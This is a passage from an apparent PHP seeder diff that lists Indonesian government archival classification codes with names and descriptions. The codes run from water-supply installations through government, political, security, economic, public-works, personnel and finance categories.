'enabled' => 1, + ], + [ + 'id' => 1899, + 'kode' => '692.3', + 'nama' => 'Katup Penguras (Blow Off)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1900, + 'kode' => '692.4', + 'nama' => 'Bak Pelepas Tekanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1901, + 'kode' => '692.5', + 'nama' => 'Jembatan Pipa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1902, + 'kode' => '692.6', + 'nama' => 'Syphon', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1903, + 'kode' => '693', + 'nama' => 'Instalasi Pengelolaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1904, + 'kode' => '693.1', + 'nama' => 'Bangunan Ukur', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1905, + 'kode' => '693.2', + 'nama' => 'Bangunan Aerasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1906, + 'kode' => '693.3', + 'nama' => 'Bangunan Pengendapan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1907, + 'kode' => '693.4', + 'nama' => 'Bangunan Pembubuh Bahan Kimia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1908, + 'kode' => '693.5', + 'nama' => 'Bangunan Pengaduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1909, + 'kode' => '693.6', + 'nama' => 'Bangunan Saringan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1910, + 'kode' => '693.7', + 'nama' => 'Perpompaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1911, + 'kode' => '693.8', + 'nama' => 'Clear Hell', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1912, + 'kode' => '694', + 'nama' => 'Distribusi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1913, + 'kode' => '694.1', + 'nama' => 'Reservoir Menara Bawah Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1914, + 'kode' => '694.11', + 'nama' => 'Menara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1915, + 'kode' => '694.12', + 'nama' => 'reservoir di Bawah Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1916, + 'kode' => '694.2', + 'nama' => 'Perpipaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1917, + 'kode' => '694.3', + 'nama' => 'Perpompaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1918, + 'kode' => '694.4', + 'nama' => 'Jembatan Pipa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1919, + 'kode' => '694.5', + 'nama' => 'Syphon', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1920, + 'kode' => '694.6', + 'nama' => 'Hydran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1921, + 'kode' => '694.61', + 'nama' => 'Hydran Umum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1922, + 'kode' => '694.62', + 'nama' => 'Hydran Kebakaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1923, + 'kode' => '694.7', + 'nama' => 'Katup', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1924, + 'kode' => '694.71', + 'nama' => 'Katup Udara (Air Relief)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1925, + 'kode' => '694.72', + 'nama' => 'Katup Pelepas (Blow Off)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1926, + 'kode' => '694.8', + 'nama' => 'Bak Pelepas Tekanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1927, + 'kode' => '695', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1928, + 'kode' => '696', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1929, + 'kode' => '697', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1930, + 'kode' => '698', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1931, + 'kode' => '699', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1932, + 'kode' => '700', + 'nama' => 'PENGAWASAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1933, + 'kode' => '701', + 'nama' => 'Bidang Urusan Dalam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1934, + 'kode' => '702', + 'nama' => 'Bidang Peralatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1935, + 'kode' => '703', + 'nama' => 'Bidang Kekayaan Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1936, + 'kode' => '704', + 'nama' => 'Bidang Perpustakaan / Dokumentasi / Kearsipan Sandi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1937, + 'kode' => '705', + 'nama' => 'Bidang Perencanaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1938, + 'kode' => '706', + 'nama' => 'Bidang Organisasi / Ketatalaksanaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1939, + 'kode' => '707', + 'nama' => 'Bidang Penelitian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1940, + 'kode' => '708', + 'nama' => 'Bidang Konferensi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1941, + 'kode' => '709', + 'nama' => 'Bidang Perjalanan Dinas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1942, + 'kode' => '710', + 'nama' => 'BIDANG PEMERINTAHAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1943, + 'kode' => '711', + 'nama' => 'Bidang Pemerintahan Pusat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1944, + 'kode' => '712', + 'nama' => 'Bidang Pemerintahan Provinsi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1945, + 'kode' => '713', + 'nama' => 'Bidang Pemerintahan Kabupaten / Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1946, + 'kode' => '714', + 'nama' => 'Bidang Pemerintahan Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1947, + 'kode' => '715', + 'nama' => 'Bidang MPR / DPR', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1948, + 'kode' => '716', + 'nama' => 'Bidang DPRD Provinsi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1949, + 'kode' => '717', + 'nama' => 'Bidang DPRD Kabupaten / Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1950, + 'kode' => '718', + 'nama' => 'Bidang Hukum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1951, + 'kode' => '719', + 'nama' => 'Bidang Hubungan Luar Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1952, + 'kode' => '720', + 'nama' => 'BIDANG POLITIK', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1953, + 'kode' => '721', + 'nama' => 'Bidang Kepartaian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1954, + 'kode' => '722', + 'nama' => 'Bidang Organisasi Kemasyarakatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1955, + 'kode' => '723', + 'nama' => 'Bidang Organisasi Profesi Dan Fungsional', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1956, + 'kode' => '724', + 'nama' => 'Bidang Organisasi Pemuda', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1957, + 'kode' => '725', + 'nama' => 'Bidang Organisasi Buruh, Tani, Dan Nelayan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1958, + 'kode' => '726', + 'nama' => 'Bidang Organisasi Wanita', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1959, + 'kode' => '727', + 'nama' => 'Bidang Pemilihan Umum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1960, + 'kode' => '730', + 'nama' => 'BIDANG KEAMANAN/KETERTIBAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1961, + 'kode' => '731', + 'nama' => 'Bidang Pertahanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1962, + 'kode' => '732', + 'nama' => 'Bidang Kemiliteran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1963, + 'kode' => '733', + 'nama' => 'Bidang Perlindungan Masyarakat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1964, + 'kode' => '734', + 'nama' => 'Bidang Kemanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1965, + 'kode' => '735', + 'nama' => 'bidang Kejahatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1966, + 'kode' => '736', + 'nama' => 'Bidang Bencana', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1967, + 'kode' => '737', + 'nama' => 'Bidang Kecelakaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1968, + 'kode' => '738', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1969, + 'kode' => '739', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1970, + 'kode' => '740', + 'nama' => 'BIDANG KESEJAHTERAAN RAKYAT', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1971, + 'kode' => '741', + 'nama' => 'Bidang Pembagunan Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1972, + 'kode' => '742', + 'nama' => 'Bidang Pendidikan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1973, + 'kode' => '743', + 'nama' => 'Bidang Kebudayaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1974, + 'kode' => '744', + 'nama' => 'Bidang Kesehatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1975, + 'kode' => '745', + 'nama' => 'Bidang Agama', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1976, + 'kode' => '746', + 'nama' => 'Bidang Sosial', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1977, + 'kode' => '747', + 'nama' => 'Bidang Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1978, + 'kode' => '748', + 'nama' => 'Bidang Media Massa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1979, + 'kode' => '749', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1980, + 'kode' => '750', + 'nama' => 'BIDANG PEREKONOMIAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1981, + 'kode' => '751', + 'nama' => 'Bidang Perdagangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1982, + 'kode' => '752', + 'nama' => 'Bidang Pertanian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1983, + 'kode' => '753', + 'nama' => 'Bidang Perindustrian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1984, + 'kode' => '754', + 'nama' => 'Bidang Pertambangan / Kesamudraan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1985, + 'kode' => '755', + 'nama' => 'Bidang Perhubungan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1986, + 'kode' => '756', + 'nama' => 'Bidang Tenaga Kerja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1987, + 'kode' => '757', + 'nama' => 'Bidang Permodalan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1988, + 'kode' => '758', + 'nama' => 'Bidang Perbankan / Moneter', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1989, + 'kode' => '759', + 'nama' => 'Bidang Agraria', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1990, + 'kode' => '760', + 'nama' => 'BIDANG PEKERJAAN UMUM', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1991, + 'kode' => '761', + 'nama' => 'Bidang Pengairan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1992, + 'kode' => '762', + 'nama' => 'Bidang Jalan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1993, + 'kode' => '763', + 'nama' => 'Bidang Jembatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1994, + 'kode' => '764', + 'nama' => 'Bidang Bangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1995, + 'kode' => '765', + 'nama' => 'Bidang Tata Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1996, + 'kode' => '766', + 'nama' => 'Bidang Lingkungan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1997, + 'kode' => '767', + 'nama' => 'Bidang Ketenagaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1998, + 'kode' => '768', + 'nama' => 'Bidang Peralatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1999, + 'kode' => '769', + 'nama' => 'Bidang Air Minum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2000, + 'kode' => '770', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2001, + 'kode' => '771', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2002, + 'kode' => '772', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2003, + 'kode' => '780', + 'nama' => 'BIDANG KEPEGAWAIAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2004, + 'kode' => '781', + 'nama' => 'Bidang Pengadaan Pegawai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2005, + 'kode' => '782', + 'nama' => 'Bidang Mutasi Pegawai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2006, + 'kode' => '783', + 'nama' => 'Bidang Kedudukan Pegawai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2007, + 'kode' => '784', + 'nama' => 'Bidang Kesejahteran Pegawai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2008, + 'kode' => '785', + 'nama' => 'Bidang Cuti', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2009, + 'kode' => '786', + 'nama' => 'Bidang Penilaian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2010, + 'kode' => '787', + 'nama' => 'Bidang Tata Usaha Kepegawaian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2011, + 'kode' => '788', + 'nama' => 'Bidang Pemberhentian Pegawai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2012, + 'kode' => '789', + 'nama' => 'Bidang Pendidikan Pegawai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2013, + 'kode' => '790', + 'nama' => 'BIDANG KEUANGAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2014, + 'kode' => '791', + 'nama' => 'Bidang Anggaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2015, + 'kode' => '792', + 'nama' => 'Bidang Otorisasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2016, + 'kode' => '793', + 'nama' => 'Bidang Verifikasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2017, + 'kode' => '794', + 'nama' => 'Bidang Pembukuan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2018, + 'kode' => '795', + 'nama' => 'Bidang Perbendaharaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2019, + 'kode' => '796', + 'nama' => 'Bidang Pembina Kebendaharaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2020, + 'kode' => '797', + 'nama' => 'Bidang Pendapatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2021, + 'kode' => '798', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2022, + 'kode' => '799', + 'nama' => 'Bidang Bendaharaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2023, + 'kode' => '800', + 'nama' => 'KEPEGAWAIAN', + 'uraian' => 'Klasifikasi Disini: Kebijaksanaan Kepegawaian', + 'enabled' => 1, + ], + [ + 'id' => 2024, + 'kode' => '800.1', + 'nama' => 'Perencanaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2025, + 'kode' => '800.2', + 'nama' => 'Penelitian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2026, + 'kode' => '800.043', + 'nama' => 'Pengaduan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2027, + 'kode' => '800.05', + 'nama' => 'Tim', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2028, + 'kode' => '800.07', + 'nama' => 'Statistik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2029, + 'kode' => '800.08', + 'nama' => 'Peraturan Perundang-Undangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2030, + 'kode' => '810', + 'nama' => 'PENGADAAN', + 'uraian' => 'Meliputi: Lamaran, Pengujian Kesehatan, Dan Pengangkatan Calon Pegawai', + 'enabled' => 1, + ], + [ + 'id' => 2031, + 'kode' => '811', + 'nama' => 'Lamaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2032, + 'kode' => '811.1', + 'nama' => 'Testing', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2033, + 'kode' => '811.2', + 'nama' => 'Screening', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2034, + 'kode' => '811.3', + 'nama' => 'Panggilan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2035, + 'kode' => '812', + 'nama' => 'Pengujian Kesehatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2036, + 'kode' => '813', + 'nama' => 'Pengangkatan Calon Pegawai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2037, + 'kode' => '813.1', + 'nama' => 'Pengangkatan Calon Pegawai Golongan 1', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2038, + 'kode' => '813.2', + 'nama' => 'Pengangkatan Calon Pegawai Golongan II', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2039, + 'kode' => '813.3', + 'nama' => 'Pengangkatan Calon Pegawai Golongan III', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2040, + 'kode' => '813.4', + 'nama' => 'Pengangkatan Calon Pegawai Golongan IV', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2041, + 'kode' => '813.5', + 'nama' => 'Pengangkatan Calon Guru Inpres', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2042, + 'kode' => '814', + 'nama' => 'Pengangkatan Tenaga Lepas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2043, + 'kode' => '814.1', + 'nama' => 'Pengangkatan Tenaga Bulanan / Tenaga Kontrak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2044, + 'kode' => '814.2', + 'nama' => 'Pengangkatan Tenaga Harian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2045, + 'kode' => '814.3', + 'nama' => 'Pengangkatan Tenaga Pensiunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2046, + 'kode' => '815', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2047, + 'kode' => '816', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2048, + 'kode' => '817', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2049, + 'kode' => '820', + 'nama' => 'MUTASI', + 'uraian' => 'Meliputi: Pengangkatan, Kenaikan Gaji Berkala, Kenaikan Pangkat, Pemindahan, Pelimpahan Datasering, Tugas Belajar Dan Wajib Militer', + 'enabled' => 1, + ], + [ + 'id' => 2050, + 'kode' => '821', + 'nama' => 'Pengangkatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2051, + 'kode' => '821.1', + 'nama' => 'Pengangkatan Menjadi Pegawai Negeri Tetap', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2052, + 'kode' => '821.11', + 'nama' => 'Pengangkatan Menjadi Pegawai Negeri Golongan 1', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2053, + 'kode' => '821.12', + 'nama' => 'Pengangkatan Menjadi Pegawai Negeri Golongan 2', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2054, + 'kode' => '821.13', + 'nama' => 'Pengangkatan Menjadi Pegawai Negeri Golongan 3', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2055, + 'kode' => '821.14', + 'nama' => 'Pengangkatan Menjadi Pegawai Negeri Golongan 4', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2056, + 'kode' => '821.15', + 'nama' => 'Pengangkatan Menjadi Pegawai Negeri Sipil Yang Cuti Di Luar Tanggungan Negara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2057, + 'kode' => '821.2', + 'nama' => 'Pengangkatan Dalam Jabatan, Pembebasan Dari Jabatan, Berita Acara Serah Terima Jabatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2058, + 'kode' => '821.21', + 'nama' => 'Sekjen/Dirjen/Irjen/Kabag', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2059, + 'kode' => '821.22', + 'nama' => 'Kepala Biro/Direktur/Inspektur/Kepala Pusat/Sekretaris/Kepala Dinas/Asisten Sekwilda', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2060, + 'kode' => '821.23', + 'nama' => 'Kepala Bagian/Kepala Sub Direktorat/Kepala Bidang/Inspektur Pembantu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2061, + 'kode' => '821.24', + 'nama' => 'Kepala Subbagian/Kepala Seksi/Kepala Sub Bidang/Pemeriksa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2062, + 'kode' => '821.25', + 'nama' => 'Residen/Pembantu Gubernur', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2063, + 'kode' => '821.26', + 'nama' => 'Wedana/Pembantu Bupati', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2064, + 'kode' => '821.27', + 'nama' => 'Camat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2065, + 'kode' => '821.28', + 'nama' => 'Lurah Administratif (Lurah Desa)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2066, + 'kode' => '821.29', + 'nama' => 'Jabatan Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2067, + 'kode' => '822', + 'nama' => 'Kenaikan Gaji Berkala', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2068, + 'kode' => '822.1', + 'nama' => 'Pegawai Golongan 1', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2069, + 'kode' => '822.2', + 'nama' => 'Pegawai Golongan 2', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2070, + 'kode' => '822.3', + 'nama' => 'Pegawai Golongan 3', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2071, + 'kode' => '822.4', + 'nama' => 'Pegawai Golongan 4', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2072, + 'kode' => '823', + 'nama' => 'Kenaikan Pangkat / Pengangkatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2073, + 'kode' => '823.1', + 'nama' => 'Pegawai Golongan 1', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2074, + 'kode' => '823.2', + 'nama' => 'Pegawai Golongan 2', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2075, + 'kode' => '823.3', + 'nama' => 'Pegawai Golongan 3', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2076, + 'kode' => '823.4', + 'nama' => 'Pegawai Golongan 4', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2077, + 'kode' => '824', + 'nama' => 'Pemindahan / Pelimpahan / Perbantuan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2078, + 'kode' => '824.1', + 'nama' => 'Pegawai Golongan 1', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2079, + 'kode' => '824.2', + 'nama' => 'Pegawai Golongan 2', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2080, + 'kode' => '824.3', + 'nama' => 'Pegawai Golongan 3', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2081, + 'kode' => '824.4', + 'nama' => 'Pegawai Golongan 4', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2082, + 'kode' => '824.5', + 'nama' => 'Lolos Butuh', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2083, + 'kode' => '824.6', + 'nama' => 'Kurikulum dan Silabi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2084, + 'kode' => '824.7', + 'nama' => 'Proposal (TOR)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2085, + 'kode' => '825', + 'nama' => 'Datasering dan Penempatan Kembali', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2086, + 'kode' => '826', + 'nama' => 'Penunjukan Tugas Belajar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2087, + 'kode' => '826.1', + 'nama' => 'Dalam Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2088, + 'kode' => '826.2', + 'nama' => 'Luar Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2089, + 'kode' => '826.3', + 'nama' => 'Tunjangan Belajar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2090, + 'kode' => '826.4', + 'nama' => 'Penempatan Kembali', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2091, + 'kode' => '827', + 'nama' => 'Wajib Militer', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2092, + 'kode' => '828', + 'nama' => 'Mutasi Dengan Instansi Lain', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2093, + 'kode' => '829', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2094, + 'kode' => '830', + 'nama' => 'KEDUDUKAN', + 'uraian' => 'Meliputi: Perhitungan Masa Kerja, Penyesuaian Pangkat/Gaji, Penghargaan Ijasah, Dan Jenjang Pangkat', + 'enabled' => 1, + ], + [ + 'id' => 2095, + 'kode' => '831', + 'nama' => 'Perhitungan Masa Kerja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2096, + 'kode' => '832', + 'nama' => 'Penyesuaian Pangkat / Gaji', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2097, + 'kode' => '832.1', + 'nama' => 'Pegawai Golongan 1', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2098, + 'kode' => '832.2', + 'nama' => 'Pegawai Golongan 2', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2099, + 'kode' => '832.3', + 'nama' => 'Pegawai Golongan 3', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2100, + 'kode' => '832.4', + 'nama' => 'Pegawai Golongan 4', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2101, + 'kode' => '833', + 'nama' => 'Penghargaan Ijazah / Penyesuaian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2102, + 'kode' => '834', + 'nama' => 'Jenjang Pangkat / Eselonering', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2103, + 'kode' => '835', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2104, + 'kode' => '836', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2105, + 'kode' => '837', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2106, + 'kode' => '840', + 'nama' => 'KESEJAHTERAAN PEGAWAI', + 'uraian' => 'Meliputi: Tunjangan, Dana, Perawatan Kesehatan, Koperasi, Distribusi, Permahan/Tanah, Bantuan Sosial, Rekreasi Dan Dispensasi.', + 